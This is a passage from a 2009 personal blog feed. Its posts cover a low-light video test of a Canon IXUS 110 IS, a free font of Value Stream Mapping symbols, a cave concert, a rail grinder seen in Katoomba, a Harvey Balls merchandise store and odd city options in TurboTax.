Due to some hot pixels that recently erupted on my trusty old Canon SD800 IS, I decided to upgrade to a new Canon DiG!C 4 based point & shoot. The main reason I got the SD800 3 years ago was the wide 28mm lens. The newly released Ixus 110IS/SD960 IS is the latest evolution of the "wide angle" point & shoot from Canon. The new camera also sports an HD recording mode which really improves the video performance as compared with the SD800. Since these small P&S cameras with tiny CCD sensors and crazy megapixel counts (12.1MP in this case) are notorious for noisy low-light performance, I thought I'd test it out on my walk home.

I've uploaded two videos to YouTube which will quickly show you how well this camera works when shooting hand-held in low light.

Video 1: Dusk (YouTube)
Video 2: Night (YoutTube)

The videos as shown on YouTube are heavily compressed by YouTube and therefore appear quite low in quality. If you have the patience to download the original MOV files from the camera you can find them here - be warned, they are very large files.

Video 1: Dusk (86MB .MOV File)
Video 2: Night (57MB .MOV File)

I've had the camera for basically a day and have three comments:

1) The OPTICAL zoom doesn't work while shooting video and the reason for this (they actually mention it in the manual) is that the microphone would pick up the sound of the zoom motor. You can still do a DIGITAL zoom (which is silent), but obviously at lower quality.

2) I really don't like the look of the camera itself. I wish they kept the older more angular look of the Elph/IXUS/Powershot range.

3) The camera is packed with new whiz-bang features (blink detection, Wii-style interface, etc.) that I still have to play with. It does seem to take nice pictures though :)

Free Value Stream Mapping Symbols

noreply@blogger.com (ambanmba) — Mon, 02 Mar 2009 11:41:00 +0000

Long story short - just just click here to get them.

A few years ago I created a free Harvey Balls font which today is the top viewed page on my site. Packaging non-alphabet graphics into a TrueType Font isn't new, but I think what people like about the Harvey Balls font (other than its price) is that the Harvey Balls are mapped to numbers on the keyboard. This makes it easy to remember how to place any type of Harvey Ball into a document.

Recently I've been looking into Value Stream Mapping (a.k.a. VSM) for a project at work and on the surface VSM seems to lend itself to a graphical font. While there seems to be some debate as to the effectiveness of using software tools, I thought I'd knock together a set of VSM symbols into a font to try it out.

So, if you're interested, just click here to get it. Clicking through to the page, you'll also find the keyboard map which lets you easily produce any of these symbols with a standard keyboard (no need to use the Character Map utility to hunt through the non-typable characters). The other benefit of having these symbols as a font is that you can use it with any software (Powerpoint / Excel / Etc.) on any platform (Mac / PC / Linux / Etc.) that can render TrueType Fonts.

Hungarian Gypsy Music in the Jenolan Caves

noreply@blogger.com (ambanmba) — Sat, 28 Feb 2009 20:53:00 +0000

This weekend we went out to the Jenolan Caves to listen to a Gypsy Music concert by Georg Mertens / The Paganini Duo in the Cathedral Chamber of the Lucas Cave.
The ambiance and acoustics of the cave make it a unique and impressive place to attend an "unplugged" concert. Thanks to the inherent acoustics of the natural limestone formations, there is no need for any sort of amplification equipment at all. As a fan of Eastern European Gypsy music, I was really blown away.

If Gypsy music isn't your thing, they also hold other concerts there as well - just visit the Jenolan Caves web site and click on Concerts.

The caves are a 3 hour drive from downtown Sydney, so such a trip can form part of a nice weekend getaway or a long day-trip, but in either case, it's definitely worth it. To save you the trip, you can click here for a YouTube version of the concert (taken by someone else).

SPENO Rail Grinder in action in Katoomba

noreply@blogger.com (ambanmba) — Sat, 28 Feb 2009 13:40:00 +0000

Although I've long since retired my Tonka Toys, I still love the sight of big machines in action. We were in the Blue Mountains this weekend and stopped in Katoomba for dinner. As we got out of the car, I noticed an interesting looking machine throwing impressive sparks off the nearby train tracks. I initially thought it was a derailed train car being dragged down the track, but on closer inspection realised that it was a SPENO Rail Grinder in action. When it came back for its second pass a few minutes later, I was ready with my camera and had already gotten along this fence to get a better look. Above is my YouTube video of the SPENO in action.

I've gone commercial!

noreply@blogger.com (ambanmba) — Mon, 23 Feb 2009 13:04:00 +0000

What started out as an effort to make a better Harvey Balls font for my personal use at work has turned into a web page that gets the bulk of the hits to my site.
Since the font is free, I've toyed with Google Adsense to see if I could monetise the visits, but it's hardly worth the effort.
Then last weekend a friend of mine mentioned Cafe Press which has a very neat business model. Just a few clicks and in no time I was able to put together a "store" to flog some "consultant chic." Check it out and let me know what you think. You can check out the new store at: http://www.harveyballs.org
One of the items for sale, for example, is this mug which is not only a piece of fine ceramic, but could also be a lifesaver in case you haven't prepared for the meeting and need to "wing it" with a standard agenda. :)

Strange TurboTax Geography

noreply@blogger.com (ambanmba) — Sun, 15 Feb 2009 06:07:00 +0000

I was filling out my U.S. taxes this morning and needed to enter the location where I incurred my foreign housing expenses. Although I suppose "Australia" would have been sufficient, it seems that they want me to be a bit more specific.

I live in a small town called Sydney which some believe is the capital of Australia. To avoid making me type it out, TurboTax conveniently provides a drop-down menu where I can select one of 7 cities or "All Other."

I naively might have thought that they'd just use the top-7 largest cities. Oddly, they went instead with some other system that includes the Gold Coast (fair enough, it's the 6th most populous city in Australia) and Toowoomba (15th most populous). Most puzzling, however, is that they also included Oakey, a rural town situated 160km west of Brisbane with a population of 3,657! HUH?

I think I'll pay a visit to Oakey next time I'm in rural Queensland - after all according to the Wikipedia page it boasts several amenities including an Olympic-sized swimming pool and golf course. Apparently there are several motels and hotels in town providing accommodation, as well as a caravan park catering for tourists. Most conveniently, if I work there, it will be easier to file my U.S. taxes!